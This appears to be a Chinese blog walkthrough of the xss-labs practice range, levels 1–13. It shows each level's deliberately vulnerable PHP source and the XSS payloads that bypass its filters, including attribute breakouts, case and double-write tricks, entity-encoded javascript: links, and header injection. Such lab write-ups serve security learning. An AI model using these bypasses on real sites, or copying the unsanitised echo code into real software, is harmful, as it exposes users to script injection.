当前位置: 首页 > article >正文

XSS基础靶场练习

目录

1. 准备靶场
2. PASS
1. Level 1:无过滤
源码:
2. level2:转HTML实体
htmlspecialchars简介:
源码
PASS
3. level3:转HTML深入
源码:
PASS
4. level4:过滤<>
源码:
PASS:
5. level5:过滤on
源码:
PASS:
6. level6:大小写绕过
源码:
PASS:
7. level7:双写绕过
源码:
PASS:
8. level8:Unicode编码
源码:
PASS:
9. level9:http://
源码:
PASS:
10. level10:type属性
源码:
PASS:
11. level11:Referer
源码:
PASS:
12. level12:User-Agent
源码:
PASS:
13. level13:Cookie
源码:
PASS:

1. 准备靶场

xss-labs-all

这是一个很简单的xss入门级靶场

2. PASS

1. Level 1:无过滤

这一关很简单,因为它没有做任何过滤,虽然很简单,但是在实际中确实很容易出现。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level2.php?keyword=test"; }</script><title>欢迎来到level1</title></head><body><h1 align=center>欢迎来到level1</h1><?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>​
PASS:<script>alert(1)</script>

PA


SS:

由于没有做任何过滤,所以使用什么标签都可以passaimgsvg等都行。如下:

<script>alert(1)</script>

 <img src=1 onerror=alert(1)>

 <svg/onload=alert(1)>

2. level2:转HTML实体

这一关使用了htmlspecialchars函数,把特殊字符转换为HTML实体,也就是说<>会被转换,我们知道,javascript:协议一旦被编码就不能识别,不能识别就不能触发事件。

htmlspecialchars简介:

htmlspecialchars 函数会将特殊字符转换为 HTML 实体,以防止跨站脚本攻击(XSS)并确保这些字符在 HTML 中正确显示。具体来说,它会转换以下字符:

  • & 转换为 &amp;

  • < 转换为 &lt;

  • > 转换为 &gt;

  • " 转换为 &quot;

  • ' 转换为 &#039;(取决于使用的标志)

源码

 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level3.php?writing=wait"; }</script><title>欢迎来到level2</title></head><body><h1 align=center>欢迎来到level2</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level2.php method=GET><input name=keyword  value="'.$str.'"><input type=submit name=submit value="搜索"/></form></center>';?><center><img src=level2.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS

那么这一关怎么处理呢,两种办法

一、闭合"

二、闭合>,但是要注意,闭合>的时候还需要配合一下"

如下:

双引号:"

aa" onclick="alert(1)

尖括号:>

 aa"><scropt>alert(1)</script>

3. level3:转HTML深入

这一关也是使用htmlspecialchars函数,把特殊字符转换为HTML实体。

不同的是更深入一层,这里引入该函数的一些属性:

这里看出,如果它设置了对应属性的话,引号就会被转换,那我们来试一下到底转换的是哪个引号还是引号全部转换。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!"; }</script><title>欢迎来到level3</title></head><body><h1 align=center>欢迎来到level3</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword  value='".htmlspecialchars($str)."'>  <input type=submit name=submit value=搜索 /></form></center>";?><center><img src=level3.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS

尝试"

 aa" onclick="alert(1)

可以明显看到不行,这里alert都没有是识别,说明针对双引号的属性被设置了,再试一试单引号。

尝试'

 aa' onclick='alert(1)

这里成功了,那就说明,这里没有设置过滤'的属性。

除此之外,这一关还有一种做法,如下:

JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件

所以这样构造:

 ' onfocus=javascript:alert() '

也是可以的。

4. level4:过滤<>

这一关吧,本意是不让我们闭合<>,所以其他方法就可以完成了。但是这一关折射出的问题其实是与用户的交互。对于这一关而言,需要与用户交互才会有漏洞,这样的漏洞危害性并不高。

而且仔细分析就会发现,仅使用单引号是不行的,因为它用的是"包住'了。

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!"; }</script><title>欢迎来到level4</title></head><body><h1 align=center>欢迎来到level4</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level4.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level4.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";?></body></html>

PASS:

<>

 aa" onclick="alert(1)

非用户交互:

 aa"autofocus onfocus="alert(1)

5. level5:过滤on

这一关把on事件都过滤了,也就是说这里不能使用on了,而且使用strtolower函数预防大小写,那怎么办呢。

那么我们就换一个不带on但是也能达到我们目的的标签,比如a标签。

我们把POC插入带a标签的href属性中,然后点击我们设置的目标,就可以了。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!"; }</script><title>欢迎来到level5</title></head><body><h1 align=center>欢迎来到level5</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level5.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level5.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";?></body></html>

PASS:

 a"><a href="javascript:alert(1)">click</a>

6. level6:大小写绕过

这一关把a、img、svg、<script等进行了过滤,基本上我们在前面使用过的方法都使用不了。但是就跟SQL注入一样,这里的过滤并不包含大写,所以我们可以使用大小写绕过。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level7.php?keyword=move up!"; }</script><title>欢迎来到level6</title></head><body><h1 align=center>欢迎来到level6</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level6.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level6.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";?></body></html>

PASS:

 a"><ScRiPt>alert(1)</ScRiPt>

这里只演示了一种,其实还有还几种构造语句,如下:

 脚本注入a"><SCRIPT>alert()</SCRIPT><"焦点事件a"ONDOCUS=javascript:alert()"a标签href属性的a"><a HREF=javascript:alert()>x</a><"

7. level7:双写绕过

这一关在上一关的基础上把大小写也过滤掉了,也就是说我们是真的不能使用之前用过的方法了。

那么怎么办呢? 在这一关我们可以尝试一下双写绕过,以为我们分析一下会发现,它虽然会过滤很多条件,但是仅仅是单次拦截,并不是多次,所以双写绕过是可以的

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!"; }</script><title>欢迎来到level7</title></head><body><h1 align=center>欢迎来到level7</h1><?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);  大小写不行$str2=str_replace("script","",$str);  script不行$str3=str_replace("on","",$str2);     需要on的标签不行$str4=str_replace("src","",$str3);    img标签不行$str5=str_replace("data","",$str4);   $str6=str_replace("href","",$str5);   a标签不行echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level7.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level7.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";?></body></html>

PASS:

 a"><scrscriptipt>alert(1)</scrscriptipt>

8. level8:Unicode编码

这一关,看着过滤法则,似乎含严格,几乎把常规的手段都过滤了,什么大小写、双写、标签...都不行。怎么办?

这一关有一个友情链接那说明我们的输入的接收属性是a标签的href属性,而这个属性会自动对Unicode编码进行解码,那如果我们把POC进行Unicode编码,然后当做URL写入href,那么随着hrefUnicode的解码,我们的POC不就能够识别了吗。

这一关本质是对编码知识的考查,对编码越了解就越简单。

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!"; }</script><title>欢迎来到level8</title></head><body><h1 align=center>欢迎来到level8</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level8.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';?><center><img src=level8.jpg></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?></body></html>

PASS:

 javascript:alert()
 &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;&#10;

9. level9:http://

在上一关我们投机取巧,直接使用编码拿下POC,但是在这一关不行了,这一关加了一个硬性条件,就是必须要有http://,没有它不行。

那我们可以尝试在编码的末尾加上它。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level10.php?keyword=well done!"; }</script><title>欢迎来到level9</title></head><body><h1 align=center>欢迎来到level9</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level9.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?></body></html>

PASS:

 &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* <http://> */​或者​&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

10. level10:type属性

这一关把input标签隐藏掉了,虽然可以使用GET型输入把POC传进去,但是触发不了,所以要想办法把input标签拿出来才行

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level11.php?keyword=good job!"; }</script><title>欢迎来到level10</title></head><body><h1 align=center>欢迎来到level10</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level10.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 t_sort=a" onclick=alert(1) type="text"

通过改变type属性的方法,把input标签拿出来。

11. level11:Referer

这一关在上一关的基础上加上了一个过滤,所以直接使用上一关的方法是不行的。还要配合其他方法。

这里就引入Referer这个属性了,在html里它表示用户的来源。

这里建议使用Firefox浏览器来做,它的一个插件HackBar很适合做这一关。

源码:

 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level12.php?keyword=good job!"; }</script><title>欢迎来到level11</title></head><body><h1 align=center>欢迎来到level11</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level11.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 a" onclick=alert(1) type="text"

12. level12:User-Agent

这一关就是修改User-Agent属性。跟上一关的原理一样。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level13.php?keyword=good job!"; }</script><title>欢迎来到level12</title></head><body><h1 align=center>欢迎来到level12</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level12.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 a" onclick=alert(1) type="text"

13. level13:Cookie

同理,利用Cookie。

源码:

<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level14.php"; }</script><title>欢迎来到level13</title></head><body><h1 align=center>欢迎来到level13</h1><?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level13.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 user=a" onclick=alert(1) type="text"

这个靶场后面还有机关,但是涉及的技术是flash,已经被淘汰了,所以就做到这里吧。

相关文章:

XSS基础靶场练习

目录 1. 准备靶场 2. PASS 1. Level 1&#xff1a;无过滤 源码&#xff1a; 2. level2&#xff1a;转HTML实体 htmlspecialchars简介&#xff1a; 源码 PASS 3. level3:转HTML深入 源码&#xff1a; PASS 4. level4:过滤<> 源码&#xff1a; PASS: 5. level5:过滤on 源码…...

Redis核心机制(一)

目录 Redis的特性 1.速度快 2.以键值对方式进行存储 3.丰富的功能 4.客户端语言多 5.持久化 6.主从复制 7.高可用和分布式 Redis使用场景 Redis核心机制——持久化 RDB bgsave执行流程 ​编辑 AOF AOF重写流程 3.混合持久化&#xff08;RDBAOF&#xff09; Red…...

QGroupBox取消勾选时不禁用子控件

默认情况下&#xff0c;QGroupBox取消勾选会自动禁用子控件&#xff0c;如下图所示 那么如何实现取消勾选时不禁用子控件呢&#xff1f; 实现很简单&#xff0c;直接上代码了 connect(ui->groupBox, &QGroupBox::toggled, this, [](bool checked){if (checked false){…...

Go语言中package的使用规则《二》

在 Go 语言中&#xff0c;包&#xff08;Package&#xff09; 是代码组织和复用的核心单元。以下是其定义、引用规则及使用习惯的详细说明&#xff1a; 一、包的定义规则 目录与包名 一个包对应一个目录&#xff08;文件夹&#xff09;&#xff0c;目录名通常与包名一致。 包名…...

MyBatis-Plus 自动填充:优雅实现创建/更新时间自动更新!

目录 一、什么是 MyBatis-Plus 自动填充&#xff1f; &#x1f914;二、自动填充的原理 ⚙️三、实际例子&#xff1a;创建时间和更新时间字段自动填充 ⏰四、注意事项 ⚠️五、总结 &#x1f389; &#x1f31f;我的其他文章也讲解的比较有趣&#x1f601;&#xff0c;如果喜欢…...

canvas数据标注功能简单实现:矩形、圆形

背景说明 基于UI同学的设计&#xff0c;在市面上找不到刚刚好的数据标注工具&#xff0c;遂决定自行开发。目前需求是实现图片的矩形、圆形标注&#xff0c;并获取标注的坐标信息&#xff0c;使用canvas可以比较方便的实现该功能。 主要功能 选中图形&#xff0c;进行拖动 使…...

Python 魔术方法深度解析:__getattr__ 与 __getattribute__

一、核心概念与差异解析 1. __getattr__ 的定位与特性 触发时机&#xff1a; 当访问对象中 ​**不存在的属性** 时自动触发&#xff0c;是 Python 属性访问链中的最后一道防线。 核心能力&#xff1a; 动态生成缺失属性实现优雅的错误处理构建链式调用接口&#xff08;如 R…...

【机器学习】机器学习工程实战-第2章 项目开始前

上一章&#xff1a;第1章 概述 文章目录 2.1 机器学习项目的优先级排序2.1.1 机器学习的影响2.1.2 机器学习的成本 2.2 估计机器学习项目的复杂度2.2.1 未知因素2.2.2 简化问题2.2.3 非线性进展 2.3 确定机器学习项目的目标2.3.1 模型能做什么2.3.2 成功模型的属性 2.4 构建机…...

【UI设计】一些好用的免费图标素材网站

阿里巴巴矢量图标库https://www.iconfont.cn/国内最大的矢量图标库之一&#xff0c;拥有 800 万 图标资源。特色功能包括团队协作、多端适配、定制化编辑等&#xff0c;适合企业级项目、电商设计、中文产品开发等场景。IconParkhttps://iconpark.oceanengine.com/home字节跳动…...

Visual Studio(VS)的 Release 配置中生成程序数据库(PDB)文件

最近工作中的一个测试工具在测试多台设备上使用过程中闪退&#xff0c;存了dump&#xff0c;但因为是release版本&#xff0c;没有pdb&#xff0c;无法根据dump定位代码哪块出了问题&#xff0c;很苦恼&#xff0c;查了下怎么加pdb生成&#xff0c;记录一下。以下是具体的设置步…...

ubuntu 解挂载时提示 “umount: /home/xx/Applications/yy: target is busy.”

问题如题所示&#xff0c;我挂载一个squanfs文件系统到指定目录&#xff0c;当我使用完后&#xff0c;准备解挂载时&#xff0c;提示umount: /home/xx/Applications/yy: target is busy.&#xff0c;具体的如图所示&#xff0c; 这种提示通常是表明这个路径的内容正在被某些进…...

一条不太简单的TEX学习之路

目录 rule raisebox \includegraphics newenviro 、\vspace \stretch \setlength 解释&#xff1a; 总结&#xff1a; 、\linespread newcommand \par 小四 \small simple 、mutiput画网格 解释&#xff1a; 图案解释&#xff1a; xetex pdelatex etc index 报…...

Matplotlib完全指南:数据可视化从入门到实战

目录 引言 一、环境配置与基础概念 1.1 安装Matplotlib 1.2 导入惯例 1.3 两种绘图模式 二、基础图形绘制 2.1 折线图&#xff08;Line Plot&#xff09; 2.2 柱状图&#xff08;Bar Chart&#xff09; 三、高级图表类型 3.1 散点图&#xff08;Scatter Plot&#xff…...

在大数据开发中ETL是指什么?

hello宝子们...我们是艾斯视觉擅长ui设计和前端数字孪生、大数据、三维建模、三维动画10年经验!希望我的分享能帮助到您!如需帮助可以评论关注私信我们一起探讨!致敬感谢感恩! 在数字经济时代&#xff0c;数据已成为企业最核心的资产。然而&#xff0c;分散在业务系统、日志文件…...

OAuth 2.0认证

文章目录 1. 引言1.1 系列文章说明1.2 OAuth 2.0 的起源与演变1.3 应用场景概览 2. OAuth 2.0 核心概念2.1 角色划分2.2 核心术语解析 3. 四种授权模式详解3.1 授权码模式&#xff08;Authorization Code Grant&#xff09;3.1.1 完整流程解析3.1.2 PKCE 扩展&#xff08;防止授…...

【Linux 下的 bash 无法正常解析, Windows 的 CRLF 换行符问题导致的】

文章目录 报错原因&#xff1a;解决办法&#xff1a;方法一&#xff1a;用 dos2unix 修复方法二&#xff1a;手动转换换行符方法三&#xff1a;VSCode 或其他编辑器手动改 总结 这个错误很常见&#xff0c;原因是你的 wait_for_gpu.sh 脚本 文件格式不对&#xff0c;具体来说…...

Kubernetes的Replica Set和ReplicaController有什么区别

ReplicaSet 和 ReplicationController 是 Kubernetes 中用于管理应用程序副本的两种资源&#xff0c;它们有类似的功能&#xff0c;但 ReplicaSet 是 ReplicationController 的增强版本。 以下是它们的主要区别&#xff1a; 1. 功能的演进 ReplicationController 是 Kubernete…...

WSL 导入完整系统包教程

作者&#xff1a; DWDROME 配置环境&#xff1a; OS: Ubuntu 20.04.6 LTS on Windows 11 x86_64Kernel: 5.15.167.4-microsoft-standard-WSL2ros-noetic &#x1f9ed;WSL 导入完整系统包教程 ✅ 一、准备导出文件 假设你已有一个 .tar 的完整系统包&#xff08;如从 WSL 或 L…...

[Lc_2 二叉树dfs] 布尔二叉树的值 | 根节点到叶节点数字之和 | 二叉树剪枝

目录 1.计算布尔二叉树的值 题解 2.求根节点到叶节点数字之和 3. 二叉树剪枝 题解 1.计算布尔二叉树的值 链接&#xff1a;2331. 计算布尔二叉树的值 给你一棵 完整二叉树 的根&#xff0c;这棵树有以下特征&#xff1a; 叶子节点 要么值为 0 要么值为 1 &#xff0c;其…...

SOFABoot-07-版本查看

前言 大家好&#xff0c;我是老马。 sofastack 其实出来很久了&#xff0c;第一次应该是在 2022 年左右开始关注&#xff0c;但是一直没有深入研究。 最近想学习一下 SOFA 对于生态的设计和思考。 sofaboot 系列 SOFABoot-00-sofaboot 概览 SOFABoot-01-蚂蚁金服开源的 s…...

蓝桥杯 之 第27场月赛总结

文章目录 习题1.抓猪拿国一2.蓝桥字符3.蓝桥大使4.拳头对决 习题 比赛地址 1.抓猪拿国一 十分简单的签到题 print(sum(list(range(17))))2.蓝桥字符 常见的字符匹配的问题&#xff0c;是一个二维dp的问题&#xff0c;转化为对应的动态规划求解 力扣的相似题目 可以关注灵神…...

第十六章:Specialization and Overloading_《C++ Templates》notes

Specialization and Overloading 一、模板特化与重载的核心概念二、代码实战与测试用例三、关键知识点总结四、进阶技巧五、实践建议多选题设计题代码测试说明 一、模板特化与重载的核心概念 函数模板重载 (Function Template Overloading) // 基础模板 template<typename…...

可视化动态表单动态表单界的天花板--Formily(阿里开源)

文章目录 1、Formily表单介绍2、安装依赖2.1、安装内核库2.2、 安装 UI 桥接库2.3、Formily 支持多种 UI 组件生态&#xff1a; 3、表单设计器3.1、核心理念3.2、安装3.3、示例源码 4、场景案例-登录注册4.1、Markup Schema 案例4.2、JSON Schema 案例4.3、纯 JSX 案例 1、Form…...

Amdahl 定律

Amdahl 定律是用来表示&#xff0c;当提高系统某部分性能时对整个系统的影响&#xff0c;其公式如下&#xff1a; a表示我们提升部分初始耗时比例&#xff0c;k是我们的提升倍率&#xff0c;通过这个公式我们可以轻松的得知对每一部分的提醒&#xff0c;对整个系统带来的影响…...

rust学习笔记19-泛型

Rust 的泛型&#xff08;Generics&#xff09;允许编写可复用的代码&#xff0c;通过抽象类型或行为来避免重复逻辑。 1. 泛型的基本使用 函数泛型 在函数中定义泛型参数&#xff0c;支持不同类型的数据操作&#xff1a; fn max<T: PartialOrd>(a: T, b: T) -> T …...

Linux系统之美:环境变量的概念以及基本操作

本节重点 理解环境变量的基本概念学会在指令和代码操作上查询更改环境变量环境变量表的基本概念父子进程间环境变量的继承与隔离 一、引入 1.1 自定义命令&#xff08;我们的exe&#xff09; 我们以往的Linux编程经验告诉我们&#xff0c;我们在对一段代码编译形成可执行文件后…...

数学爱好者写的编程系列文章

作为一个数学爱好者&#xff0c;我大学读的专业却不是数学专业&#xff0c;而是跟计算机有关的专业。原本我对编程一窍不通&#xff0c;平时上课也是在看数学文献&#xff0c;作业基本靠同学&#xff0c;考试及格就行。不过后来因为毕业的压力&#xff0c;我还是拥抱编程了&…...

pnpm 报错 Error: Cannot find matching keyid 解决

1. 查看corepack版本&#xff0c;升级至0.31.0 npm i -g corepack0.31.0 这里注意环境变量&#xff0c;可能升级后还是指向旧版本&#xff0c;可以选择更新环境变量或者删除原指向的corepack命令 2. 更新pnpm corepack install -g pnpmlatest 问题解决。...

dcat-admin已完成项目部署注意事项

必须 composer update 更新项目php artisan admin:publish 发布dcatadmin的静态资源手动创建目录&#xff08;如果没有&#xff09; storage/appstorage/framework/cachestorage/framework/sessionsstorage/framework/views 需检查 php不要禁用以下函数 putenvsymlinkproc_…...

Ubuntu实时读取音乐软件的音频流

文章目录 一. 前言二. 开发环境三. 具体操作四. 实际效果 一. 前言 起因是这样的&#xff0c;我需要在Ubuntu中&#xff0c;实时读取正在播放音乐的音频流&#xff0c;然后对音频进行相关的处理。本来打算使用的PipewireHelvum的方式实现&#xff0c;好处是可以直接利用Helvum…...